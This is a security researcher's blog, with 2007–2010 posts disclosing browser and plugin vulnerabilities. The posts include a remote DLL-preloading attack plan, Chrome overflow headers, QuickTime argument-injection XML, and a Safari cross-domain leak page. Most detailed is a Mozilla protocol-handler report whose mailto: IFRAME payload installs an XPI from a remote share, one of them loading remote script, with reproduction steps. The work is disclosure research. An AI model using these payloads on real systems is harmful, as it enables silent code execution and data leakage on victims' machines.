Larholm.com

Me, myself and I

August 24th, 2010

Exploiting DLL Preloading remotely without user interaction

Microsoft published an article yesterday about DLL Preloading on TechNet.

The basic premise behind a DLL Preloading attack is simple: unless you explicitly set the paths to your DLL files they might be loaded from the current directory. That current directory might contain a file called “xyz.dll” which will then get included into your process instead of your original “xyz.dll” file from your installation directory.

This is a class of vulnerabilities that affects a wide range of applications, but the severity of these have so far been considered local and low impact.

It seems that Microsoft have been made aware of a remote attack vector that allows you to exploit DLL Preloading from a webpage.

The TechNet article does not mention what that attack vector is, so for the sake of debate I will highlight the most logical steps you will need to perform to remotely exploit DLL Preloading without any user interaction other than visiting a website :)

  1. Get user to visit malicious website
  2. Malsite contains an IFRAME pointing to an SMB/WebDav share
  3. The share contains a non-malicious file which can be automatically opened without warnings, such as an .JPG or .DOCX file, as well as a malicious file called “xyz.dll”
  4. The non-malicious file is then automatically opened through clickjacking
  5. The local process responsible for handling the non-malicious file, such as word.exe, is launched and starts looking for its DLL dependencies, such as “xyz.dll”
  6. The current working directory is set to the malicious share because the non-malicious file was opened from here
  7. Unless explicitly handled by the local process, “xyz.dll” will be included from the current working directory, the malicious share, the contents of which is controlled by the attacker

The only reason I am not giving this post the title of 0-day is because this has been known for some time and I have not bundled this as an exploit for you – I am on my way to work right now :)

April 6th, 2010

Looking into Chrome

I am currently trying to setup a proper build environment for Google Chrome, so that I can test some crashes in more details.

It seems amazing that a brief line of Javascript code is able to completely freeze the Chrome process and all its threads, but I am guessing it is a synchronization issue when talking with the Win32 API.

More details should come about if I finally get Chrome building locally, otherwise I’ll consider just posting some reproducible test cases and let somebody else look into exploiting it.

It’s part of the screen update process and also freezes the Sandbox broker process, so with some luck this should be running outside the Chrome sandbox :)

April 6th, 2010

Community Day 10 in Copenhagen

Community Day is back again this year in Copenhagen.

If you like free tech-talks, networking and beer then reserve May 27 for Community Day ‘10.

There will be some 20 sessions on four concurrent tracks, with 45 minutes of presentation time and 30 minutes for Q&A.

Most of the session titles are already set, ranging from HTML5 to Firefox plugin development and Ruby on Rails, and the agenda will be updated soon with speaker names and details.

Casper Fabricius, an old colleague and friend, will be giving his talk called “Replace ASP.NET with IronRuby on Rails”.

I will also be giving two talks at CD10, “Hacking a website” and “Advanced jQuery”.

Sign up for Community Day ‘10 (it’s free!) and get ready for a day of geekery, networking and free beer :)

March 16th, 2010

Internet Explorer 9 at MIX – and Windows Phone 7 IE

I am currently at MIX 10 in Las Vegas together with Mads Kristensen and Kenneth Auchenberg.

The IE9 keynote was great and revealed many new facets of the upcoming Internet Explorer 9. There will be a new Jscript engine, codenamed “Chakra”, lots of HTML 5 support and hardware acceleration of almost all rendering aspects – not just for text and images, but also for SVG and video playback.

Chrome and Firefox were literally stutteriing when they tried to play a single 720P video while IE9 was running smoothly with two simultaneous 720P streams, and the performance of the new Trident engine was even better when it came to animating SVG and CSS.

“Chakra” is still in development and can be experienced in the IE9 developer preview at ietestdrive.com. The current JScript engine in IE8 is JScript 5.8 where as the new “Chakra” engine identifies itself as JScript 9.0. “Chakra” will compile Javascript in the background across multiple CPU cores, so I expect to see some reentrant vulnerabilities.

I will dig deeper into IE9 when I get the chance, to see what kind of security vulnerabilities I can uncover.

Another point of interest at the conference is the upcoming Windows Phone 7 Series; the name is too long, they should really just remove the “Series” suffix.

I had a chance to play with the phone, but the Microsoft guys were not really that keen on revealing what browser version it is running. Despite this, I managed to secure a copy of the useragent string:

Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0) Asus;Galaxy6

Unlike the iPhone, Windows Phone 7 will launch with a browser that does not support the latest web standards.Far from it, actually, as IE7 is already starting to feel outdated. There is some consolation, in that the mobile version of IE7 will incorporate some of the new technologies from IE8.

Anyway, back to the conference..

Update: I am covering the latest buzz surrounding IE9 at IE9Buzz.com :)

September 9th, 2008

Long time no see, hello Chrome

Well it’s been a long time since I last wrote any entries here. What, almost a year.. time flies by when you’re having fun :) especially when you’re working a lot.

Just wanted to give a quick heads-up that I will start posting again. And what better way to celebrate that than by expanding on that buffer overflow which SVRT-Bkis found this friday.

The overflow is triggered by an overly long TITLE tag, which is later used by SaveFileAsWithFilter as a suggested file name.

The actual overflow is triggered in file_util_win.cc, here’s a snippet:

std::wstring GetDirectoryFromPath(const std::wstring& path) {

wchar_t path_buffer[MAX_PATH];

wchar_t* file_ptr = NULL;

if (GetFullPathName(path.c_str(), MAX_PATH, path_buffer, &file_ptr) == 0)

The current Proof-of-Concept exploit requires social engineering and manual interaction from the user in order to be triggered.

However, the GetDirectoryFromPath function is also being used elsewhere, and one of those places is in download_manager.cc, here’s a snippet:

void DownloadManager::CheckIfSuggestedPathExists(DownloadCreateInfo* info) {
DCHECK(info);

// Check writability of the suggested path. If we can’t write to it, default
// to the user’s “My Documents” directory. We’ll prompt them in this case.
std::wstring path = file_util::GetDirectoryFromPath(info->suggested_path);

This code is automatically called whenever Chrome initiates a file download. The suggested_path in the DownloadCreateInfo struct can be based on different inputs, such as the URL itself. It can also be based on more specific information which will take precedence, such as the one we can specify in a Content-Disposition HTTP header. Therefor, we can automatically trigger the buffer overflow with the following HTTP headers:

Content-Type: application/x-zip-compressed
Content-Disposition: attachment; filename=”$overflowingstringiscontainedwithinthesequotes$”

With that I will go back to enjoying my Laphroaig :)

UPDATE:

I reported this to the Chromium project as Issue 1980.
They have confirmed that this is now fixed in Google Chrome 0.2.149.29.

September 19th, 2007

QuickTime qtnext 0day for IE

Last Wednesday, pdp published a 0day exploit for the Quicktime plugin in Firefox that allowed you to instantiate a separate Firefox instance with arbitrary command line arguments. Since Firefox has published a remedy for this in the form of Firefox 2.0.0.7 I thought I would detail how you can accomplish the same with Internet Explorer on a default Windows installation, namely instantiating a separate IE instance with arbitrary command line arguments.

The simplest proof of concept for this vulnerability comes in the form of a .MOV file which contains the following XML:

<?xml version=”1.0″>
<?quicktime type=”application/x-quicktime-media-link”?>
<embed src=”presentation.mov” autoplay=”true” qtnext=”-chrome javascript:alert(‘whats up…’)”/>

When Firefox encounters a .MOV file that does not have a Content-Disposition header specified it will open an embedded instance of the QuickTime plugin and hand it the file. QuickTime will recognize that the file does not contain binary audio or video, so it will parse the content through its Quicktime XML Importers.

As you might have guessed from the XML, QuickTime will attempt to play presentation.mov first and then move on to the next media file in the sequence. Since it doesn’t immediately recognize the qtnext content as being a media file it will attempt to open the data through whichever application is registered to handle HTML – and this is where the vulnerability lies. Most applications will launch an external URL protocol handler by finding its registered application and inserting the request URI into the designated placeholders, which means that if Firefox is registered as the default browser you would ordinarily find the following

HKCR\.htm\@ = FirefoxHTML
HKCR\FirefoxHTML\shell\open\command\@ = FIREFOX.EXE -requestPending -osint -url “%1″

The security fixes in Firefox 2.0.0.4, namely MFSA 2007-23, would prevent external applications from abusing Firefox as an attack vector, but only under the presumption that the %1 placeholder is replaced with the request URI. Instead, QuickTime enumerates the entire HKCR tree until it finds the .htm handler, then strips away everything except the executable path and manually tacks on the request URI. This means that the -requestPending and -osint flags are never passed as arguments to Firefox, which means that the -chrome argument can be abused again and the above XML executes the following.

firefox.exe -chrome javascript:alert(‘whats up…’)

Mozilla implemented a workaround for this behavior in Firefox 2.0.0.7, in that they no longer allow javascript: and data: requests in combination with the -chrome argument. In addition, the -install-global-extension and -install-global-theme arguments will now only accept a normalized local file path, so you can no longer install extensions or themes from HTTP or UNC paths.

This means that Firefox can no longer be abused as an attack vector for this QuickTime vulnerability, so let’s examine how we can accomplish the same in Internet Explorer. The QuickTime plugin might be packaged differently for either browser, but the underlying code is the same; However, there is a small twist in how QuickTime forcibly calls Internet Explorer through the qtnext attribute.

When qtnext does not contain a : (colon) character QuickTime will assume that it is a HTTP request and prepend the string ‘http://’ in front of the request URI. In order for us to inject arbitrary command line arguments for IE we must specify a request URI in the qtnext attribute that contains a colon.

Before we do that, let’s take a look at some of the more interesting command line arguments that iexplore.exe accept:

-k
Kiosk Mode
-extoff
No Add-ons Mode
-embedding
Application started via OLE Automation, causes IE to start with no chrome or any other UI.
-nohome
Skip display of home page (best used with URI argument)
-slf
Load home page from cache
-e
Explorer mode with split pane view

There are several other command line arguments, such as -channelband to open a desktop toolbar, but for now we will take a look at the -e argument which allows us to instantiate Internet Explorer almost as if we were calling explorer.exe :)

The most immediate thought that springs to mind here is opening a UNC share, which we can accomplish with the following XML

<embed src=”presentation.mov” autoplay=”true” qtnext=”-e file:////servername/sharename”/>

Since we need to have a colon character in the request URI I am using the quadruple slash version of the file protocol instead of the typical ‘\\servername\sharename’ construct. The above will launch ‘iexplore.exe -e file:////servername/sharename’ which means that we can now use all of the old ‘desktop.ini’ command execution tricks that Roozbeh Afrasiabi reported back in 2004 (see SA 11633).

We can’t always rely on communicating with UNC shares, as a lot of networks will disallow SMB traffic across gateways. However, those old desktop.ini tricks relied on COM instantiation, so instead of having to bounce through a UNC share we can simply instantiate our Shell Name Space Extension COM objects directly.

<?xml version=”1.0″>
<?quicktime type=”application/x-quicktime-media-link”?>
<embed src=”a.mp3″ autoplay=”true” qtnext=”-e ::{3E9BAF2D-7A79-11d2-9334-0000F875AE17}”/>

The above will launch Microsoft NetMeeting through its registered Shell Extension. You might not remember Shell Extensions, so here are some dated articles that explain the concept nicely.

In short, this means that we can launch iexplore.exe with arbitrary command line arguments. Here are some examples that will launch NetMetting, open the Control Panel and display C:\Windows\System32 in an Explorer tree view.

-e ::{3E9BAF2D-7A79-11d2-9334-0000F875AE17}
http://larholm.com/vuln/qt/netmeeting.mov

-e ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\C:\Windows\System32\
http://larholm.com/vuln/qt/controlpanel.mov

-e ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{21EC2020-3AEA-1069-A2DD-08002B30309D}
http://larholm.com/vuln/qt/system32.mov

So is that it? For now it is, I honestly can’t remember how to specify arguments to shell name space extension COM objects. I do know that if you can circumvent the check for a : character then you can execute arbitrary commands by launching the following

iexplore.exe -e ..\..\..\..\windows\system32\cmd.exe

I am eager to hear back from any of you if you have some experience with shell name space extensions, or know how to execute arbitrary commands through a malformed desktop.ini file :)

August 31st, 2007

Silverlight 1.0 Release Candidate

Yesterday I was at a Silverlight conference in Copenhagen which was actually quite interesting. For those of you who might not know what Silverlight is, it is a Flash competitor developed by Microsoft based on Windows Presentation Foundation and XAML. If you are not interested in Silverlight development in general then jump straight to the end of this article for the vulnerability :)

Jeppe Rørbæk from Microsoft Denmark gave the first presentation which mainly focused on the basics of embedding Silverlight 1.0 and creating XAML files. I have been experimenting with Silverlight since the first CTP release back in December 2006, so most parts of this presentation was a bit repetitive for me. The main consensus that I could get from the other attendees was that Microsoft should focus on shipping a default Aspx Extender for embedding Silverlight applications, as I seemed to be the only one comfortable enough with Javascript to really bother getting my hands dirty. The lack of input controls in the 1.0 release was also a bit discomforting to some, although regular HTML input boxes can be used in its place.

Next up was Martin Eiler from Valtech who focused on XAML development through Blend Expression. Martin showcased a video player application that he was currently developing, and I couldn’t help noticing the similarities between it and Joost, particularly when it came to the messaging aspects. Joost is written in Mozilla’s XUL and from the walkthrough of some of his code it was quite clear that Silverlight development is a lot more straightforward than dealing with the typical RDF hell in XUL development.

Martins presentation also gave me the most ideas for what areas I should focus on when finding vulnerabilities in Silverlight. Font embedding in Silverlight is vastly simpler than in Flash and it is accomplished through automatically downloading a ZIP file containing a Truetype font which is then parsed and rendered on your XAML text. I could imagine that fuzzing the Truetype renderer might uncover some interesting parsing vulnerabilities. Failing that, there is some interesting potential for directory traversal vulnerabilities through the Downloader object in Silverlight, which will automatically decompress ZIP archives and store its content on your local hard drive. Since the plugin itself is not written in managed code and is responsible for parsing and rendering not just Truetype fonts but also PNG, BMP, TIFF and WMF images I will also have a go at it with some image fuzzing and see what stands out.

Next up was Niels Hartvig, founder of the open source Umbraco CMS. The first part of his presentation focused on a Powerpoint replacement that Niels had developed in Silverlight, which was a great success with the audience. This transitioned into an example of how Umbraco, or any other CMS, could be extended to serve dynamic XAML documents (Silverlight applications). The audience was mainly comprised of ASP.NET and back end developers, so the presentation was a natural fit and most likely inspired a couple of developers on how they could more easily use Silverlight as a presentation layer. Unfortunately his Powerpoint replacement was written for Silverlight 1.0, so all of the XAML generation and event handling relied heavily on Javascript. I would love to see a 1.1 release with all of the interaction dynamics staying in C#. Just as with the regular DOM the Silverlight Object Model will only allow you to retrieve data from the domain where it was served, but seeing as the Silverlight team has probably had to implement this logic themselves instead of borrowing from IE there could be some interesting potential for terminating string references (think %00).

Jeppe Rørbæk finished off the conference with a look at some of the new features in Silverlight 1.1, particularly the CLR and DLR implementations which will be a part of the plugin bundle. Most of the audience seemed thrilled enough with the new vector and video capabilities of Silverlight 1.0, but having the promise of a C# CLR embedded in the browser dangling in front of them left most with the impression that they should neglect the 1.0 release until they could do some “real” work in 1.1.

There will still be a lot of Javascript interfacing in 1.1, which is only natural when you are interfacing with the DOM of your HTML document. From what I could see in Jeppe’s code it seems apparent that exposing events to Javascript from the managed C# code is implemented by assigning a JS function reference on an exposed property. This will let you call unmanaged code from C# and since I can control the entirety of that pointer reference I can imagine that this will also be a candidate for vulnerabilities.

And speaking about vulnerabilities, I thought I would detail a vulnerability that was silently patched in the Release Candidate of Silverlight :)

The beta release of Silverlight 1.0 had a heap overflow on the findName method which occurs after handing it a string larger than 260086 bytes.

Realistically speaking, this has not been a threat to a lot of people. Unlike the Safari 3.0 release for Windows, which received millions of end user installations after being featured prominently on the frontpage of apple.com, the beta release of Silverlight has gone largely unnoticed outside of developer circles.

What is more interesting than the vulnerability itself, at least to me, is that it highlights how Microsoft has not implemented static source code analysis as part of either their commit cycles or beta release builds. This seems to be reserved for release candidates and greater.

To sum it all up, I think that Silverlight is an interesting technology and a worthy Flash competitor. Adobe has suddenly seen some actual competition arise, which has pushed them to update their Flash player with h.264 video and AAC audio playback. Whether or not Youtube decides to stay with Flash or go with HD quality WMV this can only be good news, as we can hopefully abandon those awfully looking FLV files.

And whether or not any of that happens I have found an interesting new product to uncover some vulnerabilities in, so remember to subscribe to the feed :)

August 14th, 2007

Remote variable leakage

The summer is officially over and I hope yours has been as fun as mine. I didn’t go to Blackhat or DefCon this year, so I hope the rest of you had a good time for me. As for this site, it’s time to start writing some articles again :)

Ronald van den Heetkamp has posted an article about about what he calls Firefox Remote Variable Leakage. It’s not a very long article but it does highlight a very simple concept, namely that of data leakage through URL protocols (see Bugzilla #292789).

A web page is comprised of a lot more than simply text. Images, style sheets, Javascript and Flash movies are just some of the many embeddable data types. As a browser vendor you have to consider a lot of specific factors for each of these data types and their embedding container element to prevent undesired side effects, such as what mime types the element can reference and use, what data is exposed to script and what data channels, such as specific URL protocols, it is allowed to retrieve data from.

The majority of request verification in browser such as Internet Explorer or Firefox is handled by the same basic code which tends to look at two things, the location of the requesting container and the location of the requested data. From there it trails off in different directions that are mainly influenced by the browsers own application design.

Internet Explorer uses the concept of security zones to differentiate between content privileges, with e.g. the Internet Zone being restricted and the My Computer zone being (historically) unrestricted. Firefox determines the content privileges based on its executing URL protocol origin, with e.g. http:// content being restricted and chrome:// content being unrestricted.

Both of these approaches are implemented with a patchwork of special cases developed over the years in the form of whitelists, blacklists and exceptions. As an example, Internet Explorer still allows you to link to res:// data (resources in system DLL files) from any page in any security zone because it is a fundamental building block of its error page implementation, but it doesn’t allow you to read the data. Likewise, Firefox allows you to reference chrome:// data (resources in the browsers XUL and extensions) from certain elements because it is a fundamental building block of its user interface.

And that’s where the current problem lies in Firefox. It prevents you from linking to chrome content from http content, such as by navigating an IFRAME to a chrome URL, but it will happily let you read chrome content from http content by parsing script files and displaying image data – which is the exact opposite behavior from that displayed by Internet Explorer.

But is it dangerous? The short answer is, it depends.

Since Firefox has based their security model on the executing URL protocol origin it shouldn’t matter if you can include script data from the chrome URL protocol on your web page. It is simply read as a piece of text and then executed with the privileges of your http content, which is very low, so even if your chrome script references the nsIProcess interface the script is now being executed with your lower privileges and will simply fail.

It does matter, however, when you can include chrome data that contains sensitive user data. Firefox extensions are all comprised of XUL that is exposed to the browser through the chrome protocol, and as such any data files in the extension can be read from http content. The severity of this data leakage depends on the how the extension has been implemented.

Ronald posted some comments on RSnake’s blog where he hints at having found some problems in the FoxyProxy extension in that it stores usernames and passwords in chrome accessible locations.

It might also matter if your chrome data triggers any actions based on the request itself, such as querying a database or reading files, but I can’t think of any situation where that currently happens.

And speaking about data leakage through script, here is a little bonus from me to you – a data leakage vulnerability that was quietly fixed in Safari 3.01 without being mentioned in the release notes :)

Safari 3.0 will let you iterate the window object of an IFRAME and reveal the names of any global variables or functions, even if the document inside the IFRAME is on a foreign host and cross domain scripting checks should have prevented it.

<html><body>
<textarea id=”output”></textarea>
<script>
function snurf(){
var s=”", i;
for(i in frames[0]) try{ s+= i + “,” } catch(e){};
document.getElementById(“output”).value = s;
}
</script>
<iframe src=”http://www.google.com/” onload=”snurf()”></iframe>
</body></html>

The above will simply iterate the window object and display any variables that it has found. Internet Explorer, Firefox, Opera and Safari 3.01 will not display any sensitive data. Safari 3.0 will happily display the presense of the qs, sf and google functions and object :)

July 26th, 2007

Thunderbird 1.5 has not been patched with osint

In my previous post I detailed how the Mozilla suite has an unpatched input validation vulnerability in how it handles URL protocol handlers. Together with this I detailed several XPI exploits that could be used to target Thunderbird 2.0.0.4.

I detailed my reason for publishing this vulnerability report in my Bugtraq post.

Thunderbird 2.0.0.5 was released on July 19 and incidentally fixed this specific attack vector through its “osint” command line flag. It is now 6 days later and people should have had time to update their Thunderbird installations, so I have decided to publish my vulnerability report together with the exploits as they detail how to handle XPI exploitation.

Unfortunately, the latest release of Thunderbird 1.5, version 1.5.0.12, has not been updated with this “osint” security patch and as such all Thunderbird 1.5 users are vulnerable against this attack and those exploits. Now would be a good time to upgrade to Thunderbird 2.0.

I stayed with Thunderbird 1.0 for quite a while myself out of concern for the upgrade process and the potential for losing emails. If you have those same concerns I can highly recommend MozBackup, which does a great job in ensuring that all of your data is safely transitioned from Thunderbird 1.5 to Thunderbird 2.0.

Bugzilla reports #389610 and #389613 are the currently open Bugzilla reports that are focused on backporting the “osint” security patch to the older Thunderbird 1.5 branch.

July 25th, 2007

Mozilla Protocol Abuse

This is the vulnerability report that I promised in “Handling URL protocol handlers“. You can download the entire report together with the XPI exploits at http://larholm.com/media/2007/7/mozillaprotocolabuse.zip. The exploits have been successfully tested with Firefox 2.0.0.5 and Thunderbird 2.0.0.4, Thunderbird 2.0.0.5 is not vulnerable due to the “osint” flag.


Mozilla Protocol Abuse
Cross-application URL handler command injection
Firefox and Thunderbird Demo

Preface

Mozilla does not properly validate the input passed to external URL protocol handlers, allowing you to specify arbitrary arguments to the protocol handler process.

This vulnerability report details how Mozilla handles external protocol handlers, under what circumstances it asks the user for permission before launching an external protocol handler process and how that confirmation can be circumvented.

Any software that is built on top of the Mozilla platform is vulnerable, including Firefox, Thunderbird and Netscape, and XULRunner apps such as Joost and Democracy Player.

The exploitability of this vulnerability depends on the arguments that the external URL protocol handler process accepts.

A detailed proof-of-concept exploit for Firefox, Thunderbird and the mailto: protocol is attached. Further exploits can be developed on request for Mozilla, Netscape Navigator, Outlook and Outlook Express.

Details

When Mozilla encounters a reference to a URL protocol which it does not handle natively it performs a series of actions to determine whether the request is valid and what application should handle that request.

A request such as ‘random://stuff/’ results in the following registry queries:

QueryKey HKCU SUCCESS Name: \REGISTRY\USER\S-1-5-21-117609710-1645522239-839522115-1003_CLASSES
OpenKey HKCU\random NOT FOUND
OpenKey HKCR\random NOT FOUND

Since Mozilla cannot find any registry keys with further details about this protocol it shows the following error:

A request for a valid URL protocol such as ‘acrobat://random/stuff’ will result in the following series of registry queries:

QueryKey HKCU SUCCESS Name: \REGISTRY\USER\S-1-5-21-117609710-1645522239-839522115-1003_CLASSES
OpenKey HKCU\acrobat NOT FOUND
OpenKey HKCR\acrobat SUCCESS Access: 0×1
CloseKey HKCR\acrobat SUCCESS
QueryKey HKCU SUCCESS Name: \REGISTRY\USER\S-1-5-21-117609710-1645522239-839522115-1003_CLASSES
OpenKey HKCU\acrobat\shell\open\command NOT FOUND
OpenKey HKCR\acrobat\shell\open\command SUCCESS Access: 0×1
QueryKey HKCR\acrobat\shell\open\command SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\acrobat\shell\open\command
OpenKey HKCU\acrobat\shell\open\command NOT FOUND
QueryValue HKCR\acrobat\shell\open\command\(Default) SUCCESS “C:\Programmer\Adobe\Reader 8.0\Reader\AcroRd32.exe /u “%1″”
QueryKey HKCR\acrobat\shell\open\command SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\acrobat\shell\open\command
OpenKey HKCU\acrobat\shell\open\command NOT FOUND
QueryValue HKCR\acrobat\shell\open\command\(Default) SUCCESS “C:\Programmer\Adobe\Reader 8.0\Reader\AcroRd32.exe /u “%1″”
CloseKey HKCR\acrobat\shell\open\command SUCCESS
QueryKey HKCU SUCCESS Name: \REGISTRY\USER\S-1-5-21-117609710-1645522239-839522115-1003_CLASSES
OpenKey HKCU\acrobat\shell\open\command NOT FOUND
OpenKey HKCR\acrobat\shell\open\command SUCCESS Access: 0×1
QueryKey HKCR\acrobat\shell\open\command SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\acrobat\shell\open\command
OpenKey HKCU\acrobat\shell\open\command NOT FOUND
QueryValue HKCR\acrobat\shell\open\command\(Default) SUCCESS “C:\Programmer\Adobe\Reader 8.0\Reader\AcroRd32.exe /u “%1″”
QueryKey HKCR\acrobat\shell\open\command SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\acrobat\shell\open\command
OpenKey HKCU\acrobat\shell\open\command NOT FOUND
QueryValue HKCR\acrobat\shell\open\command\(Default) SUCCESS “C:\Programmer\Adobe\Reader 8.0\Reader\AcroRd32.exe /u “%1″”
CloseKey HKCR\acrobat\shell\open\command SUCCESS

As can be evidenced, Mozilla does not query for the “URL Protocol” value that Internet Explorer typically queries for external URL protocol handler requests. Instead, Mozilla checks for the existance of the Key and any related “shell\open\command” entries.

As such, this vulnerability is not limited to registered URL protocol handlers but allows you to target any application which has registered a Key inside HKCU or HKLM with an associated “shell\open\command” entry.

The request for ‘acrobat://random/stuff’ results in the following dialog box being displayed to the user, asking for permission to launch the external process.

This dialog is displayed because Mozilla has queried its preferences for details on whether user confirmation is required before handling specific external URL protocols. The code responsible for this validation can be found in “/mozilla/uriloader/exthandler/nsExternalHelperAppService.cpp”, lines 1226 to 1290, a snapshot of which can be found at

http://lxr.mozilla.org/seamonkey/source/uriloader/exthandler/nsExternalHelperAppService.cpp#1226

For any requests to the “acrobat” protocol Mozilla queries the preference setting

“network.protocol-handler.warn-external.acrobat”

and finds nothing, after which it queries the kExternalWarningDefaultPref setting

“network.protocol-handler.warn-external-default”

and finds the default value of “true”, prompting the user confirmation.

As we can see in the following table of default preference settings for the Firefox application a number of external URL protocol handlers do not require user confirmation before their associated external process is launched.

From these default settings we can observe that the URL protocols “mailto”, “news”, “nntp” and “snews” do not require user confirmation. To validate this we send a request for “mailto:random@stuff.com” which triggers the registry queries found in appendix 1.

The most interesting of these queries is the following:

QueryValue HKCR\mailto\shell\open\command\(Default) SUCCESS “”C:\Programmer\Mozilla Thunderbird\thunderbird.exe” -compose “%1″”

In this case the user has installed both Firefox and Thunderbird, which means that a request for “mailto:random@stuff.com” will result in the following command line being executed:

“C:\Programmer\Mozilla Thunderbird\thunderbird.exe” -compose “mailto:random@stuff.com”

This is where the vulnerability can be found, in that Mozilla does not escape any of the characters that are passed to the %1 placeholder. As such we can inject quote characters, spaces and hyphens, and thereby specify additional command line arguments for the protocol handler process.

A request such as ‘mailto:random@stuff.com” -arg “value’ results in the following:

“C:\Programmer\Mozilla Thunderbird\thunderbird.exe” -compose “mailto:random@stuff.com” -arg “value”

Exploit

The first part of our exploit deals with launching the malicious request. Since we know that we can provide Thunderbird.exe with arbitrary arguments we first have to determine which arguments that provide us with an attack vector for malicious code.

Thunderbird has a more limited repertoire of command line arguments in comparison to Mozilla, Firefox or Netscape. For reference, the following MozillaZine Knowledge Base article details the available command line arguments:

http://kb.mozillazine.org/Thunderbird_Command_Line_Arguments

As we can see Thunderbird will not accept any browser-specific command line arguments. This includes the -chrome argument which has been used in a range of exploits targetting Firefox.

However, Thunderbird still accepts all of the command line arguments that are used by the Extension Manager:

http://www.mozilla.org/projects/firefox/extensions/commandlineoptions.html

Our argument of choice will be “-install-global-extension”, but we could as well have used the “-install-global-theme” argument. The difference is mostly cosmetic as both allow you to install an XPI file comprised of XUL content.

XUL content allows us to perform any action that the XUL application can perform, including but not limited to communicating with the network, reading and writing files and launching arbitrary applications.

XPI packaging further allows us to compile an exploit that is automatically updated as part of the internal application update process.

The only limiting factor with the “-install-global-extension” argument is that it does not allow us to reference XPI packages from the HTTP protocol. Instead, it will only install XPI packages found on local drives.

However, it will do this without any form of user confirmation, regardless of whether the XPI package is signed or not, as the argument is intended for administrator use.

To circumvent the local drive restriction we will retrieve our XPI package from a UNC share, which then allows us to install remotely located XPI packages.

The following mailto: request is embedded in an <IFRAME> and demonstrates this:

<iframe src=’mailto://me@nowhere.com” -install-global-extension \\serverip\shared\cmd.xpi’></iframe>

Two different XPI packages have been included with this vulnerability report.

“cmd.xpi “launches CMD.EXE when Thunderbird is launched and adds a “LaunchCMD!” option to the Tools menu.

“remote.xpi” includes a .JS file from a remote host and executes the contents within, which allows for a more easily updated exploit or executing content from an already infected host which is spreading the exploit through a web server.

Steps to reproduce cmd.xpi exploit

1. Modify “cmdxpi.html”

Replace “\\127.0.0.1\shared\cmd.xpi” with the UNC patch to the server share where you have placed the cmd.xpi file, e.g. “\\remoteserver.com\sharename\cmd.xpi”.

2. Open

Open “firefoxprotocol.html” in Firefox

Steps to reproduce remote.xpi exploit

1. Modify remote.xpi

Replace the reference in “remote.xpi/chrome/helloworld.jar!/content/overlay.xul” which says “http://larholm.com/vuln/firefoxxpi.js” with a reference to your own XUL Javascript file, e.g. “http://remoteserver.com/nasty.js”.

2. Modify “remotexpi.html”

Replace “\\127.0.0.1\shared\remote.xpi” with the UNC patch to the server share where you have placed the cmd.xpi file, e.g. “\\remoteserver.com\sharename\remote.xpi”.

3. Open

Open “firefoxprotocol.html” in Firefox

Mitigating factors

Many registered URL protocol handler that rely on the command line for input will also have a DDE component which is used for communication when the process has already been launched. As such, the handling process must not already be running for the exploit to be successful.

This is also the case for Thunderbird.exe, which must not already be running.

Appendix 1

See file “appendix1.txt